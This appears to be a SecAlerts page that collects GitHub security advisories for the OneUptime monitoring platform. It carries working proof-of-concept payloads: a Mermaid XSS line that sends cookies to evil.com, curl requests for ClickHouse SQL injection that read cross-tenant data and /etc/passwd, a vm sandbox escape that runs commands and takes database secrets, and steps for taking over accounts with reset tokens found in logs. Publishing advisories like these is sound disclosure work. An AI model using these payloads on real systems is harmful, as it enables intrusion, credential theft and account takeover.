Where
-Infinity
0

Vendor Risk Score

See how oneuptime compares to other vendors in security performance

View Risk Score →
Severity
5.3
AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N

OneUptime 14.0.2 before 14.0.69 contains an incorrect authorization vulnerability that allows authenticated project members to act on clusters outside their scope by exploiting project-wide permission checks. Attackers can call the AI access test, agent reset, kubectl plan approval and incident AI conversation features to learn agent RBAC permissions, disconnect agents, approve kubectl changes, or run commands on unauthorized resources.

First published (updated )
Severity
9.9
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

OneUptime is an open-source monitoring and observability platform. Prior to 10.0.98, OneUptime uses the Node.js' vm module as an isolation primitive. This API was not designed for that and can be escaped via error objects and infinite recursion. This vulnerability is fixed in 10.0.98.

First published (updated )
Severity
9.2
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

OneUptime is an open-source monitoring and observability platform. Prior to version 10.0.42, the Worker service's ManualAPI exposes workflow execution endpoints (GET /workflow/manual/run/:workflowId and POST /workflow/manual/run/:workflowId) without any authentication middleware. An attacker who can obtain or guess a workflow ID can trigger arbitrary workflow execution with attacker-controlled input data, enabling JavaScript code execution, notification abuse, and data manipulation. This issue has been patched in version 10.0.42.

First published (updated )
Severity
8.1
AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N

OneUptime is an open-source monitoring and observability platform. Prior to version 10.0.42, OneUptime's SAML SSO implementation (App/FeatureSet/Identity/Utils/SSO.ts) has decoupled signature verification and identity extraction. isSignatureValid() verifies the first <Signature> element in the XML DOM using xml-crypto, while getEmail() always reads from assertion[0] via xml2js. An attacker can prepend an unsigned assertion containing an arbitrary identity before a legitimately signed assertion, resulting in authentication bypass. This issue has been patched in version 10.0.42.

First published (updated )
Severity
9.2
CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

OneUptime is an open-source monitoring and observability platform. Prior to version 10.0.42, multiple notification API endpoints are registered without authentication middleware, while sibling endpoints in the same codebase correctly use ClusterKeyAuthorization.isAuthorizedServiceMiddleware. These endpoints are externally reachable via the Nginx proxy at /notification/. Combined with a projectId leak from the public Status Page API, an unauthenticated attacker can purchase phone numbers on the victim's Twilio account and delete all existing alerting numbers. This issue has been patched in version 10.0.42.

First published (updated )
Severity
10
OS Command Injection
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

OneUptime is an open-source monitoring and observability platform. Prior to version 10.0.35, a low-privileged authenticated user (ProjectMember) can achieve remote command execution on the Probe container/host by abusing Synthetic Monitor Playwright script execution. Synthetic monitor code is executed in VMRunner.runCodeInNodeVM with a live Playwright page object in context. The sandbox relies on a denylist of blocked properties/methods, but it is incomplete. Specifically, browserType and launchServer are not blocked, so attacker code can traverse page.context().browser().browserType.launchServer(...) and spawn arbitrary processes. Version 10.0.35 contains a patch.

First published (updated )
Severity
6.9
EPSS
0.03%
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

The password reset flow logs the complete password reset URL — containing the plaintext reset token — at INFO log level, which is enabled by default in production. Anyone with access to application logs (log aggregation, Docker logs, Kubernetes pod logs) can intercept reset tokens and perform account takeover on any user.

Details

Vulnerable code — App/FeatureSet/Identity/API/Authentication.ts lines 370-371: typescript logger.info("User forgot password: " + user.email?.toString()); logger.info("Reset Password URL: " + tokenVerifyUrl);

The tokenVerifyUrl is a complete URL like https://app.oneuptime.com/accounts/reset-password/<plaintext-token>. This is logged at INFO level, which is enabled by default in production and persisted to stdout, log files, and any configured log aggregation systems.

Additionally — login credentials logged at DEBUG level (line 909): typescript logger.debug("Login request data: " + JSON.stringify(req.body, null, 2));

The entire login request body (including cleartext password) is logged at DEBUG level. While DEBUG is typically disabled in production, it is commonly enabled during incident troubleshooting.

No existing CVEs cover sensitive data exposure in logging for OneUptime. CVE-2026-30956 (GHSA-r5v6-2599-9g3m) leaked resetPasswordToken from the database via multi-tenant header bypass — this finding is different (token leaked via application logs).

PoC

Environment: OneUptime v10.0.23 via docker compose up (default configuration)

bash Step 1 — Trigger forgot-password for target user curl -s -X POST http://TARGET:8080/api/identity/forgot-password \ -H 'Content-Type: application/json' \ -d '{"data": {"email": "test@example.com"}}' Response: {}

Step 2 — Read application logs to extract the reset token docker compose logs app --tail 5 Output: app-1 | User forgot password: test@example.com app-1 | Reset Password URL: http://localhost/accounts/reset-password/20771cc6-860a-4b9b-bb9c-09eff67de4ef

Step 3 — Use the extracted token to reset the victim's password curl -s -X POST http://TARGET:8080/api/identity/reset-password \ -H 'Content-Type: application/json' \ -d '{"data": {"token": "20771cc6-860a-4b9b-bb9c-09eff67de4ef", "password": "NewPassword123!"}}'

Tested and confirmed on 2026-03-12 against oneuptime/app:release (APPVERSION=10.0.23). Full password reset token 20771cc6-860a-4b9b-bb9c-09eff67de4ef visible in INFO-level logs.

Attack surface for log access: ELK/Elasticsearch dashboards (often misconfigured with default credentials), CloudWatch/Datadog/Splunk/Grafana Loki, docker logs / kubectl logs, shared log volumes, CDN/proxy access logs.

Impact

Any user's account can be taken over by anyone with read access to application logs:

- Account takeover: Every password reset token is logged in plaintext, creating a persistent trail of sensitive tokens - Exposure scale: This logs EVERY password reset request — not a one-off, but systematic - Cascading impact: Combined with differential error responses in forgot-password (user enumeration), an attacker can systematically target any user - Organizations that aggregate OneUptime logs into shared logging infrastructure expose all password reset tokens to anyone with log reader access

1 / 2
Source: GitHub
First published (updated )
Severity
7.6
EPSS
0.04%
XSS
AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:N

Summary

The Markdown viewer component renders Mermaid diagrams with securityLevel: "loose" and injects the SVG output via innerHTML. This configuration explicitly allows interactive event bindings in Mermaid diagrams, enabling XSS through Mermaid's click directive which can execute arbitrary JavaScript. Any field that renders markdown (incident descriptions, status page announcements, monitor notes) is vulnerable.

Details

Mermaid configuration — Common/UI/Components/Markdown.tsx/MarkdownViewer.tsx:76:

typescript // MarkdownViewer.tsx:76 mermaid.initialize({ securityLevel: "loose", // Allows interactive event bindings // ... });

The Mermaid documentation explicitly warns: securityLevel: "loose" allows click events and other interactive bindings in diagrams. The safe default is "strict" which strips all interactivity.

SVG injection via innerHTML — MarkdownViewer.tsx:106:

typescript // MarkdownViewer.tsx:106 if (containerRef.current) { containerRef.current.innerHTML = svg; // Raw SVG injection }

After Mermaid renders the diagram to SVG, the SVG string is injected directly into the DOM via innerHTML. Combined with securityLevel: "loose", this allows event handlers embedded in the SVG to execute.

Mermaid XSS payload:

markdown mermaid graph TD A["Click me"] click A callback "javascript:fetch('https://evil.com/?c='+document.cookie)" ​

With securityLevel: "loose", Mermaid processes the click directive and creates an SVG element with an event handler that executes the JavaScript.

PoC

bash Authenticate TOKEN=$(curl -s -X POST 'https://TARGET/identity/login' \ -H 'Content-Type: application/json' \ -d '{"email":"user@example.com","password":"password123"}' \ | jq -r '.token')

Create an incident note with Mermaid XSS payload curl -s -X POST 'https://TARGET/api/incident-note' \ -H "Authorization: Bearer $TOKEN" \ -H 'Content-Type: application/json' \ -H 'tenantid: PROJECTID' \ -d '{ "data": { "incidentId": "INCIDENTID", "note": "## Root Cause Analysis\n\nmermaid\ngraph TD\n A[\"Load Balancer\"] --> B[\"App Server\"]\n click A callback \"javascript:fetch('"'"'https://evil.com/?c='"'"'+document.cookie)\"\n", "noteType": "RootCause" } }'

Any user viewing this incident note will have their cookies exfiltrated

bash Verify the vulnerability in source code:

1. securityLevel: "loose": grep -n 'securityLevel' Common/UI/Components/Markdown.tsx/MarkdownViewer.tsx Line 76: securityLevel: "loose"

2. innerHTML injection: grep -n 'innerHTML' Common/UI/Components/Markdown.tsx/MarkdownViewer.tsx Line 106: containerRef.current.innerHTML = svg

Impact

Stored XSS in any markdown-rendered field. Affects:

1. Incident notes/descriptions — viewed by on-call engineers during incidents 2. Status page announcements — viewed by public visitors 3. Monitor descriptions — viewed by team members 4. Any markdown field — the MarkdownViewer component is shared across the UI

The "loose" security level combined with innerHTML injection allows arbitrary JavaScript execution in the context of the OneUptime application.

Proposed Fix

typescript // 1. Change securityLevel to "strict" (default safe mode): mermaid.initialize({ securityLevel: "strict", // Strips all interactive bindings // ... });

// 2. Use DOMPurify on the SVG output before innerHTML injection: import DOMPurify from "dompurify";

if (containerRef.current) { containerRef.current.innerHTML = DOMPurify.sanitize(svg, { USEPROFILES: { svg: true, svgFilters: true }, ADDTAGS: ['foreignObject'], }); }

1 / 2
Source: GitHub
First published (updated )
Severity
10
EPSS
0.40%
SQL Injection, Input Validation, SSRF
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Summary

The telemetry aggregation API accepts user-controlled aggregationType, aggregateColumnName, and aggregationTimestampColumnName parameters and interpolates them directly into ClickHouse SQL queries via the .append() method (documented as "trusted SQL"). There is no allowlist, no parameterized query binding, and no input validation. An authenticated user can inject arbitrary SQL into ClickHouse, enabling full database read (including telemetry data from all tenants), data modification, and potential remote code execution via ClickHouse table functions.

Details

Entry Point — Common/Server/API/BaseAnalyticsAPI.ts:88-98, 292-296:

The POST /{modelName}/aggregate route deserializes aggregateBy directly from the request body:

typescript // BaseAnalyticsAPI.ts:292-296 const aggregateBy: AggregateBy<TBaseModel> = JSONFunctions.deserialize( req.body["aggregateBy"] ) as AggregateBy<TBaseModel>;

No schema validation is applied to aggregateBy. The object flows directly to the database service.

No Validation — Common/Server/Services/AnalyticsDatabaseService.ts:276-278:

typescript // AnalyticsDatabaseService.ts:276-278 if (aggregateBy.aggregationType) { // Only truthiness check — no allowlist }

The aggregationType field is only checked for existence, never validated against an allowed set of values (e.g., AVG, SUM, COUNT).

Raw SQL Injection — Common/Server/Utils/AnalyticsDatabase/StatementGenerator.ts:527:

typescript // StatementGenerator.ts:527 statement.append( ${aggregationType}(${aggregateColumnName}) as aggregationResult );

The .append() method on Statement (at Statement.ts:149-151) is documented as accepting trusted SQL and performs raw string concatenation:

typescript // Statement.ts:149-151 public append(text: string): Statement { this.query += text; // Raw concatenation — "trusted SQL" return this; }

Similarly, aggregationTimestampColumnName is injected into GROUP BY clauses at AnalyticsDatabaseService.ts:604-606:

typescript statement.append( toStartOfInterval(${aggregationTimestampColumnName}, ...) );

Attack flow: 1. Authenticated user sends POST /api/log/aggregate (or /api/span/aggregate, /api/metric/aggregate) 2. Request body contains aggregateBy.aggregationType set to a SQL injection payload 3. Payload passes truthiness check at line 276 4. Payload is concatenated into SQL via .append() at line 527 5. ClickHouse executes the injected SQL

PoC

bash Step 1: Authenticate and get session token TOKEN=$(curl -s -X POST 'https://TARGET/identity/login' \ -H 'Content-Type: application/json' \ -d '{"email":"user@example.com","password":"password123"}' \ | jq -r '.token')

Step 2: Extract data from ClickHouse system tables via UNION injection curl -s -X POST 'https://TARGET/api/log/aggregate' \ -H "Authorization: Bearer $TOKEN" \ -H 'Content-Type: application/json' \ -H 'tenantid: PROJECTID' \ -d '{ "aggregateBy": { "aggregationType": "COUNT) as aggregationResult FROM system.one UNION ALL SELECT name FROM system.tables WHERE database = '\''oneuptime'\'' --", "aggregateColumnName": "serviceId", "aggregationTimestampColumnName": "createdAt" }, "query": {} }'

Step 3: Read telemetry data across all tenants curl -s -X POST 'https://TARGET/api/log/aggregate' \ -H "Authorization: Bearer $TOKEN" \ -H 'Content-Type: application/json' \ -H 'tenantid: PROJECTID' \ -d '{ "aggregateBy": { "aggregationType": "COUNT) as aggregationResult FROM system.one UNION ALL SELECT body FROM Log LIMIT 100 --", "aggregateColumnName": "serviceId", "aggregationTimestampColumnName": "createdAt" }, "query": {} }'

Step 4: Read files via ClickHouse table functions (if enabled) curl -s -X POST 'https://TARGET/api/log/aggregate' \ -H "Authorization: Bearer $TOKEN" \ -H 'Content-Type: application/json' \ -H 'tenantid: PROJECTID' \ -d '{ "aggregateBy": { "aggregationType": "COUNT) as aggregationResult FROM system.one UNION ALL SELECT FROM file('\''/etc/passwd'\'') --", "aggregateColumnName": "serviceId", "aggregationTimestampColumnName": "createdAt" }, "query": {} }'

bash Verify the vulnerability in source code:

1. No allowlist for aggregationType: grep -n 'aggregationType' Common/Server/Services/AnalyticsDatabaseService.ts | head -5 Line 276: if (aggregateBy.aggregationType) { — truthiness only

2. Raw SQL concatenation: grep -n 'aggregationType.aggregateColumnName' Common/Server/Utils/AnalyticsDatabase/StatementGenerator.ts Line 527: ${aggregationType}(${aggregateColumnName}) as aggregationResult

3. .append() is raw concatenation: grep -A3 'public append' Common/Server/Utils/AnalyticsDatabase/Statement.ts this.query += text; — "trusted SQL"

4. No validation at API layer: grep -A5 'aggregateBy' Common/Server/API/BaseAnalyticsAPI.ts | grep -c 'validate\|sanitize\|allowlist' 0

Impact

Full ClickHouse database compromise. An authenticated user (any role) can:

1. Cross-tenant data theft — Read telemetry data (logs, traces, metrics, exceptions) from ALL tenants/projects in the ClickHouse database, not just their own 2. Data manipulation — INSERT/ALTER/DROP tables in ClickHouse, destroying telemetry data for all users 3. Server-side file read — Via ClickHouse's file() table function (if not explicitly disabled), read arbitrary files from the ClickHouse container filesystem 4. Remote code execution — Via ClickHouse's url() table function, make HTTP requests from the server (SSRF), or via executable() table function, execute OS commands 5. Credential theft — ClickHouse default configuration (default user, password from env) could be leveraged to connect directly

The vulnerability requires only basic authentication (any registered user), making it exploitable at scale.

Proposed Fix

typescript // 1. Add an allowlist for aggregationType in AnalyticsDatabaseService.ts: const ALLOWEDAGGREGATIONTYPES = ['AVG', 'SUM', 'COUNT', 'MIN', 'MAX', 'UNIQ'];

if (!ALLOWEDAGGREGATIONTYPES.includes(aggregateBy.aggregationType.toUpperCase())) { throw new BadRequestException( Invalid aggregationType: ${aggregateBy.aggregationType}. + Allowed: ${ALLOWEDAGGREGATIONTYPES.join(', ')} ); }

// 2. Validate aggregateColumnName against the model's known columns: const modelColumns = model.getColumnNames(); // or similar accessor if (!modelColumns.includes(aggregateBy.aggregateColumnName)) { throw new BadRequestException( Invalid column: ${aggregateBy.aggregateColumnName} ); }

// 3. Same for aggregationTimestampColumnName: if (aggregateBy.aggregationTimestampColumnName && !modelColumns.includes(aggregateBy.aggregationTimestampColumnName)) { throw new BadRequestException( Invalid timestamp column: ${aggregateBy.aggregationTimestampColumnName} ); }

// 4. Use parameterized queries where possible: statement.append({aggregationType:Identifier}({columnName:Identifier}) as aggregationResult); statement.addParameter('aggregationType', aggregateBy.aggregationType); statement.addParameter('columnName', aggregateBy.aggregateColumnName);

1 / 2
Source: GitHub
First published (updated )
Severity
8.6
EPSS
0.11%
Path Traversal
AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N

OneUptime is a solution for monitoring and managing online services. Prior to 10.0.21, an unauthenticated path traversal in the /workflow/docs/:componentName endpoint allows reading arbitrary files from the server filesystem. The componentName route parameter is concatenated directly into a file path passed to res.sendFile() in orker/FeatureSet/Workflow/Index.ts with no sanitization or authentication middleware. This vulnerability is fixed in 10.0.21.

First published (updated )
Severity
10
EPSS
0.06%
Code Injection
AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H

Summary

OneUptime lets project members write custom JavaScript that runs inside monitors. The problem is it executes that code using Node.js's built-in vm module, which Node.js itself documents as "not a security mechanism — do not use it to run untrusted code." The classic one-liner escape gives full access to the underlying process, and since the probe runs with host networking and holds all cluster credentials in its environment, this turns into a full cluster compromise for anyone who can register an account.

Details

The vulnerable code is in Common/Server/Utils/VM/VMRunner.ts at line 55:

typescript vm.runInContext(script, sandbox, { timeout })

The JavaScript that reaches this call comes straight from the monitor's customCode field, which is only validated as Zod.string().optional() in Common/Types/Monitor/MonitorStep.ts:531. No AST analysis, no keyword filtering, nothing — just a string that goes directly into vm.runInContext().

Both CustomCodeMonitor.ts and SyntheticMonitor.ts import VMRunner directly inside the probe process. So when the probe picks up a monitor and runs it, the escape executes in the probe's own process — not a child process, not a container.

Two things make this especially bad:

First, the probe runs with networkmode: host (see docker-compose.base.yml:397) and carries ONEUPTIMESECRET, DATABASEPASSWORD, REDISPASSWORD, and CLICKHOUSEPASSWORD as environment variables. Once you escape the sandbox you have all of those.

Second, the permission to create monitors is granted to Permission.ProjectMember — the lowest role — in Common/Models/DatabaseModels/Monitor.ts:46-51. There is no check that restricts Custom JavaScript Code monitors to admins only. And since open registration is on by default (disableSignup: false), any random person on the internet can reach this in about 30 seconds.

One more thing worth flagging: the IsolatedVM microservice is also affected despite its name. IsolatedVM/API/VM.ts:41 calls the exact same VMRunner.runCodeInSandbox() — it does NOT use the isolated-vm npm package. Workflow components and monitor criteria expressions both route through it and are equally exploitable.

PoC

1. Register at /accounts/register — signup is open by default, no invite needed 2. Create a project — you get ProjectMember automatically 3. Go to Monitors → Add Monitor → pick Custom JavaScript Code 4. Paste this into the code field:

javascript const proc = this.constructor.constructor('return process')(); const run = proc.mainModule.require('childprocess').execSync; return { data: { secret: proc.env.ONEUPTIMESECRET, dbpass: proc.env.DATABASEPASSWORD, redispass: proc.env.REDISPASSWORD, id: run('id').toString().trim(), hostname: run('hostname').toString().trim() } };

5. Save the monitor and wait about 60 seconds for the probe to poll 6. Open Monitor Logs — the result contains the cluster secret, database password, and the output of id running on the probe host

That's it. No admin account, no special config, no extra steps.

Impact

This is a code injection vulnerability affecting any OneUptime deployment with open registration or any trusted user with ProjectMember access. The attacker gets arbitrary command execution on the probe host, all cluster credentials from the environment, and with host networking can directly connect to PostgreSQL, Redis, and ClickHouse using those credentials. One monitor creation → full cluster compromise.

The straightforward fix is to replace node:vm with the isolated-vm npm package, which provides real V8 isolate sandboxing and is the standard solution for this exact problem in the Node.js ecosystem.

1 / 2
Source: GitHub
First published (updated )
Severity
8.8
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary A low-permission user can create new accounts through a direct API request instead of being restricted to the intended interface.

PoC A low-permission user sends a crafted API request to the user-creation endpoint and the system creates the account successfully. !WhatsApp Image 2025-11-23 at 14 27 320e0f5889

Impact This allows attackers to create unauthorized accounts.

1 / 2
Source: GitHub
First published (updated )
Severity
8.2
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X

Summary

During the login process, the server response included a parameter called isMasterAdmin. By intercepting and modifying this parameter value from false to true, a user is able to gain access to the admin dashboard interface. However, despite accessing the admin panel, the user does not have sufficient permissions to view or interact with actual data.

PoC Intercept the login response and change "isMasterAdmin": false → "isMasterAdmin": true <img width="1405" height="567" alt="image" src="https://github.com/user-attachments/assets/7036398b-bb41-46c1-b66a-e49ec2bc3abb" /> <img width="1533" height="476" alt="2" src="https://github.com/user-attachments/assets/4efcaef5-a939-4729-be43-3af62a7d02f8" />

Impact The admin dashboard is viewable.

1 / 2
Source: GitHub
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203